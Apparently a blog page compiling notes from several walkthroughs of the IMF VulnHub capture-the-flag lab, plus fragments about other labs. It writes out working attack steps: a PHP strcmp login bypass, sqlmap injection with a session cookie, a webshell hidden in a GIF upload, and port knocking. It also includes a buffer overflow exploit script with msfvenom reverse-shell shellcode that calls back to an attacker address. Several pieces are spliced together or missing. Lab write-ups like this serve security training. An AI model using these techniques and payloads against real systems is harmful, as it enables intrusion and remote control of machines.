A. https://reedphish.wordpress.com/2016/11/20/imf-walkthrough/ [ decode base64, combing base64 strings, Strcmp PHP documentation, SQLInjections error, SQLMap with --cookie, service listening on localhost only,ps -aux, /etc/init.d, /etc/knockd.conf, port knocking, “%s” injection, run ltrace command on agent, pattern_create.rb & pattern_offset.rb script from Metasploit, Getting offset, gdb buffer overflow, peda, Exploiting agent crashing, MSFVenom
B. https://skiponacci.github.io/imf-walkthrough/ [bypassing CrappyWAF file type restriction, QR code, xxd , hidding php webshell to run cmd in gif, php revrese shell, netstat -antp, ]
C. https://securitybytes.io/imf-impossible-mission-force-49be86323082 [port knocking, file cmd, handling 32 bit file on 64bit kali during BOF]
D. https://sec.alexflor.es/post/imf_walkthrough/ [msfvenom -p,pattern_create.rb.pattern_offset.rb, arbitrary python code to create code for bof]
E. http://www.t0w3ntum.com/2016-11-06/IMF[logging with CURL CLI, SQL injection test, used curl instead of browser, objdump]
Notes:
1. Only port 80 is open – fair enough
2. Flag 1
Finding the first flag required some digging. I found it reading through the HTML source of each page available. The flag is in the source code for the contact.php page hidden in a comment (Base64 encoded):
Raw: flag1{YWxsdGhlZmlsZXM=} Dec: allthefiles
What allthefiles refer to is unclear at this moment.
3. Flag 2
Still working on contact.php I noticed a Javascript filename that stood out. From the looks of it, it appears Base64 encoded too.
Raw: eVlYUnZjZz09fQ==.min.js Dec: yYXRvcg==} initial attempt didn’t make any sense. Looking at the same Javascript inclusion segment I notice other files with peculiar names:
Looked into exploiting modernizer which didn't result in any success up till now. Also gathered all the words from the site usign curl and ran dirbuster which wasn't that helpful.
These seems to be a part of a much bigger Base64 encoded string. Adding them together:
This new string decodes to flag2{aW1mYWRtaW5pc3RyYXRvcg==}, the inner string aW1mYWRtaW5pc3RyYXRvcg== decodes to imfadministrator
String appears to be a username or a path of some sort.
Tried with hydra and sqlmap to get into the site/application but failed. However, when I ran it against user "rmicheals", the site responded that the password is incorrect while for others it stated that username is correct. Now I know the username "rmicheals" is correct.
#sqlmap --dbms MySQL -u "http://192.168.106.6/imfadministrator" --dbs --level=5 --risk=5
4. Flag 3
Trying the path of least resistance I added imfadministrator to the URL and got a login form. The HTML source revealed a hint:
1
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
The first thing that comes to mind is that I have to exploit a PHP function comparing strings. The most likely candidate is Strcmppaired with type confusion. But first I need a decent username. Perhaps I could use one of the contact email addresses? I quickly harvest the emails on the contact page:
rmicheals@imf.local
akeith@imf.local
estone@imf.local
Researching Strcmp PHP documentation I found that when comparing an array to a string, Strcmp will return NULL. This may trigger some interesting side effects.
Strcmpexamples @ https://attack.samsclass.info/phpfail.htm. Strcmp behavior in PHP 5.2 vs 5.3 I've noticed the behavior of strcmp() is difference between PHP 5.2 and PHP 5.3+. In PHP 5.2, strcmp('Array', array()) returns 0 (not NULL) because arguments of this function should be converted to String (see also: http://jp2.php.net/manual/en/language.types.string.php#language.types.string.casting). But, since PHP 5.3, strcmp('...', array()) returns NULL as you say. Source @
To exploit this I changed the name of the password field using Firefox from “pass” to “pass[]”, entered rmichaels as username and submitted the form. This’ll force Strcmp to handle “pass” as an array and Bam! The third flag!
Raw: flag3{Y29udGludWVUT2Ntcw==}
Dec: continueTOcms
Option 4a using CLI [walkthru E]
root@kali:~# curl -X POST -F "pass=password" -F "user=rmichaels" http://192.168.1.62/imfadministrator/
Invalid password<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
</form>
root@kali:~#
root@kali:~# curl -c /tmp/imf.cookie -X POST -F "pass[]=password" -F "user=rmichaels" http://192.168.1.62/imfadministrator/
flag3{Y29udGludWVUT2Ntcw==}<br />Welcome, rmichaels<br /><a href='cms.php?pagename=home'>IMF CMS</a>r
root@kali:~# echo Y29udGludWVUT2Ntcw== | base64 -d
continueTOcms
5. Flag 4
Visiting that link lead me to this page:
================ from walkthru E
I tried LFI/RFI on the pagename= parameter with no success. Thinking it might be SQL injection, I tried ‘1’ OR ‘1 and got an error message.
root@kali:~# curl -b /tmp/imf.cookie 'http://192.168.1.62/imfadministrator/cms.php?pagename=%271%27%20OR%20%271'
<html><head><title>IMF CMS</title></head><body><h1>IMF CMS</h1>
Menu:
<ahref='cms.php?pagename=home'>Home</a> |
<ahref='cms.php?pagename=upload'>Upload Report</a> |
<ahref='cms.php?pagename=disavowlist'>Disavowed list</a> |
Logout
<br/><br/><br/><b>Warning</b>: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in <b>/var/www/html/imfadministrator/cms.php</b> on line <b>29</b><br/></body></html>
================
MF CMS
By looking at the page navigation the navigation happens through GET parameter “pagename”. Inputting a simple ” ‘ ” revealed a MySQL error message which means it’s time for some SQLInjections! For once I let SQLMap do the lifting.
1
$ sqlmap --url target_address/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=e7tgfr2op1sunh8b9qpspq55f0"--level 2 --dbms mysql
Then moving on acquiring some tables
1
sqlmap --url target_address/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=e7tgfr2op1sunh8b9qpspq55f0"--dbms mysql --tables --dump
Lots and lots of output later I acquire the content of the pages table holding the navigation:
id
pagename
1
upload
2
home
3
tutorials-incomplete
4
disavowlist
The table retrieved reveal one page not listed in the main navigation. Visiting “tutorials-incomplete”:
There’s a QR code in this picture. For those periodically reading my blog may remember I call them cows and that I don’t like them since they may lead to danger. Shoot. Anyways, I uploaded the whole image to zxing to decode it. It decodes to:
Raw: flag4{dXBsb2Fkcjk0Mi5waHA=}
Dec: uploadr942.php
6. Flag five: [see walkthru B]
Another directory. This directory allows for some file upload capabilities.
192.168.1.144/imfadministrator/uploadr942.php
Turns out that files with the .php extension are disallowed, and that there is a “CrappyWAF” filtering uploads.
Now it’s time to see where authorized files get uploaded.
I upload a .gif file and .jpg and check the page source which reveals that each file is renamed to a unique string once uploaded, but where do they go…
I decided to quickly check /imfadministrator/upload which gives a 404.
But…./imfadministrator/uploads gives a 403, so it is there.
Given that information, I test both a .jpg file and .gif with phpinfo inside.
I echo in the jpg hex header, and add the .gif extension first:
xxd creates a hexdump, the use of the combination -r and -p read plain hexadecimal dumps without line number information and without a particular column layout.
Note: When serving php shells, I always use SimpleHTTPServer. It doesn’t run the PHP code server side, just hosts the file. Apache2 will run the PHP code, and a lot of times you’ll pop a shell on yourself…
For good measure I make the file executable with chmod +x:
knockd is a port-knock server. It listens to all traffic on an ethernet (or PPP) interface, looking for special “knock” sequences of port-hits. A client makes these port-hits by sending a TCP (or UDP) packet to a port on the server. This port need not be open — since knockd listens at the link-layer level, it sees all traffic even if it’s destined for a closed port. When the server detects a specific sequence of port-hits, it runs a command defined in its configuration file. This can be used to open up holes in a firewall for quick access.
Anyway, let's start with /usr/local/bin/
Access codes, and the agent.
www-data@imf:/usr/local/bin$ cat access_codes
SYN 7482,8279,9467
I am guessing codes are the knockd sequence we require. So we need to send a syn packet to each of those 3 ports.
I’ve never come across this before, I found this quite a nice yet concise introduction:
Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-22 01:35 EST
Stats: 0:01:48 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
Nmap scan report for 192.168.159.142
Host is up (0.00057s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:C2:EB:63 (VMware)
Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-22 17:02 GMT
Warning: 172.16.26.133 giving up on port because retransmission cap hit (0).
Nmap scan report for 172.16.26.133
Host is up (0.00048s latency).
PORT STATE SERVICE
7482/tcp filtered unknown
8279/tcp filtered unknown
9467/tcp filtered unknown
MAC Address: 00:0C:29:C2:EB:63 (VMware)
After:
root@kali:~/Desktop/IMF# nmap -p- 172.16.26.133
Starting Nmap 7.01 ( https://nmap.org ) at 2016–11–22 17:03 GMT
Nmap scan report for 172.16.26.133
Host is up (0.00044s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
7788/tcp open unknown
MAC Address: 00:0C:29:C2:EB:63 (VMware)
We now have a new port open to us. It’s worth noting I had a LOT of issues getting this to work. I tried multiple different formats for hitting it LOTS of different times. I’m not sure if it was a timing issue, the delay between the two VM’s did seem pretty high, or something else. Either way it was annoying. I first tried with sT and port 7788 wasnt enabled but tried again w/o any switch and 7788 was available after that
So we have an ‘agent’ login portal. I don’t have an ID but I do have local access to the box and file so let's go and prod it.
www-data@imf:/var/www/html$ file /usr/local/bin/agent
/usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped
We see that /usr/local/bin is included so we can just run this file locally too, cool.
Starting with a quick brute force of the application:
for x in seq{0..1000}; do echo “$x” | nc -nv 127.0.0.1 7788; echo $x; sleep .25; done;
The sleep was required because after 48 tries without it, it starts denying connection attempts. This got me nowhere. Fantastic! I then tried passing it progressively larger Agent IDs. At a million it was still handling the IDs gracefully, my efforts to force a (seg)fault failed.
Okay, time to chuck ltrace at it, which is conveniently installed on the host.
) = 27
printf(“\nAgent ID : “
Agent ID : ) = 12
fgets(12345“12345\n”, 9, 0xf76cc5a0) = 0xff8bcade
strncmp(“12345\n”, “48093572”, 8) = -1
puts(“Invalid Agent ID “Invalid Agent ID
) = 18
+++ exited (status 254) +++
This is me passing the program a value, in this case it is the agent ID request.
fgets(12345
A little further down the trace we see:
strncmp(“12345\n”, “48093572”, 8) = -1
It looks like it is comparing my provided string against the string 48093572(and in this case resulting in a -1 condition which I assume is a not true result)
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:
We are in:
Options 2/3 both allow user input, yet again I threw content at them but couldn’t cause a crash, it failed gracefully, or did it?
I finally got wise and copied the file across to my local machine for fuzzing purposes.
****Caveat time, one machine I am working on is a 32bit Kali VM, the other is a 64bit Kali VM. So as I have made progress on this (over the course of a few days- Time constraints[and being crap at this sort of thing]and all that) I have produced screen shots from both machines. Meaning register values are different between some grabs. The thing to note here is 32 bit registers are Exx and 64 bit are Rxx and addresses in 32bit land are 0x01020304 vs 64bit land 0x00000001020304.*****
Now, I’ve posted this before but I’ll post it again.
To get a 32bit file running on 64bit Kali you need to do the following:
Re-testing locally I finally hit a seg fault in the report submission option (3).
Woooooo!
So now I am going to repeat this exercise using walkthru C & D.
After navigating through our binary, we have a place where we have user input. This is looking like it’s going to be a buffer overflow exploit. Once we download our application and run it through gdb, we confirm that the report function is vulnerable.
o now we would like to test we can successfully overwrite EIP with a value of our choosing and see what kind of space we have for shell code after. To do this I will use the following to crash the server again:
A * 168 (up to where we believe EIP to be located)
B * 4 (What we think is EIP)
C * 500 (space after EIP where we might be able to dump shell code).
python -c ‘print “A” *168 + “B” * 4 + “C” * 500’
and passing this in as the string produces the following:
We have successfully overwritten EIP with our 4 B’s. We now have control
of EIP. We need somewhere to stash our shell code so we can point at
it.
We can
see that E(R)AX actually contains our A’s. Meaning we already control
this. So theoretically inserting shell code and relevant padding to make
it up to 168 chars long should read the return the address in EIP,
which will call E(R)AX, taking it back to the beginning of our code and
executing on it’s ‘second pass through’.
Now
we require the shell code. MSFVenom offers a -b switch. This is to
remove bad chars. In this instance I have removed null bytes 0x00, as
this generally terminates a string. x0a as this is a line feed and x0d
as this is carriage return, both of which would be the equivalent of
hitting return, as such if they appeared mid way through the shellcode
they would break it. It’s highly possible there are more bad chars, the
simple way to check this is to send a payload of all chars and review
them in the data dump in a debugger to see if any of them truncated or
generally got messed up.
Anyway, now we require shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.159.141 LPORT=8443 -f python -b "\x00\x0a\x0d"
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
buf = ""
buf += "\xba\x7d\x98\xf4\xd7\xdb\xca\xd9\x74\x24\xf4\x5d\x29"
buf += "\xc9\xb1\x12\x31\x55\x12\x03\x55\x12\x83\xb8\x9c\x16"
buf += "\x22\x73\x46\x21\x2e\x20\x3b\x9d\xdb\xc4\x32\xc0\xac"
buf += "\xae\x89\x83\x5e\x77\xa2\xbb\xad\x07\x8b\xba\xd4\x6f"
buf += "\xcc\x95\xb8\xe2\xa4\xe7\xc6\xed\x68\x61\x27\xbd\xf7"
buf += "\x21\xf9\xee\x44\xc2\x70\xf1\x66\x45\xd0\x99\x57\x69"
buf += "\xa6\x31\xc0\x5a\x2a\xa8\x7e\x2c\x49\x78\x2c\xa7\x6f"
buf += "\xcc\xd9\x7a\xef"
It’s
worth noting the above shell code is 95 bytes long. Our test code had
500 bytes of C, we don’t need this as we are returning to the start of
EAX, but it still has to result in 168 bytes to ensure we continue to
his EIP.
print "Sending the evil"
s.send(buffer)
s.recv(1024)
s.close
print "Check for a shell."
So
I am get a response from the host but it’s not returning a shell.
Something isn’t quite right. At this point I faffed around with the
shell code and ports a good number of times, getting nowhere. Then it
hit me:
#!/usr/bin/python
import socket
host = “192.168.159.142”
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 7788))
s.recv(1024)
s.send(“48093572\n”) #send the code and press enter
s.recv(1024) # https://docs.python.org/3/library/socket.html
s.send(“3\n”) #select option 3 and enter
s.recv(1024)
s.send(buffer)
s.recv(1024)
print “Check for a shell.”
Starting
the script with the buffer then padding, rather than padding with NOPs
and then the buffer works. I’m sure there are reasons for this but I
don’t know what they are. Running the new script I get:
Walkthrough 1. https://medium.com/@Kan1shka9/pentesterlab-php-include-and-post-exploitation-walkthrough-8a85bcfa7b1d 2. Ine [] 3. http://megwhite.com.au/pentester-lab-bootcamp-walkthrough-php-include-post-exploitation/ 4. http://fallensnow-jack.blogspot.com/2014/07/pentester-lab-php-lfi-post-exploitation.html Notes: root@kali:~# nmap 10.0.0.12 Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-30 12:23 EDT Nmap scan report for 10.0.0.12 Host is up (0.00035s latency). Not shown: 999 filtered ports PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:1F:12:24 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.31 seconds root@kali:~# Enumerating port 80 Run dirb root@kali:~# dirb http://10.0.0.12/ ----------------- DIRB v2.22 By The Dark Raver...
Walkthru: A. https://mrh4sh.github.io/vulnix-solution [SMTP and Finger enumeration, creating linux user with specific UID, root squashing, ssh pwd cracking using medusa & hydra, logging using ssh keys, updating /usr/sbin/exportfs] B. http://overflowsecurity.com/hacklab-vulnix/ [ same as above. create ssh keys for root and copied to victim to login as root w/o recovering pwd] C. https://www.rebootuser.com/?p=988[ local bash shell from nfs] B. https://www.vulnhub.com/?q=vulnix&sort=date-des&type=vm [list of solutions] D. https://www.rebootuser.com/?p=988 [User Enumeration #1 – SMTP, Finger; Entry Point including hydra, Putty(using rlogin service), nfs (showmount,mount) ] Notes: - As you can see the root user is the only account which is logged on the remote host.Now that we have a specific username we can use it in order to obtain more information about this user with the command finger root@host . - Another effective use of the finger...
Notes: Walkthru: 1. https://medium.com/@evire/basic-pentesting-1-7251fb3e3f9e [ w/metasploi t using Wordpress t] 2. https://prasannakumar.in/infosec/vulnhub-basic-pentesting-1-writeup/ [ w/metasploit using ftp ] 3. https://www.ceos3c.com/hacking/basic-pentesting-1-walkthrough/ [ by uploading php-reverse-shell in wordpress ] 4. http://k3ramas.blogspot.com/2018/02/basic-pentesting-1-walkthrough.html [ access wordpress config file to get pwd and access the DB ] 5. https://cowsayroot.com/walkthrough-basic-pentesting-1/ [ Wpscan, ftp metasploit vulnerability, phpbash ] 6. http://www.hackingarticles.in/hack-the-basic-penetration-vm-boot2root-challenge/ [use msfvenom to create to create php shell to be uploaded in Wordpress ] 7. https://d7x.promiselabs.net/2018/01/30/ctf-basic-pentesting-a-guide-for-beginners/ [adding command using using PHP] Notes: Ports - 21...ProFTPD 1.3.3c - 22 openSSH 7.2p2 ubuntu ...
Comments
Post a Comment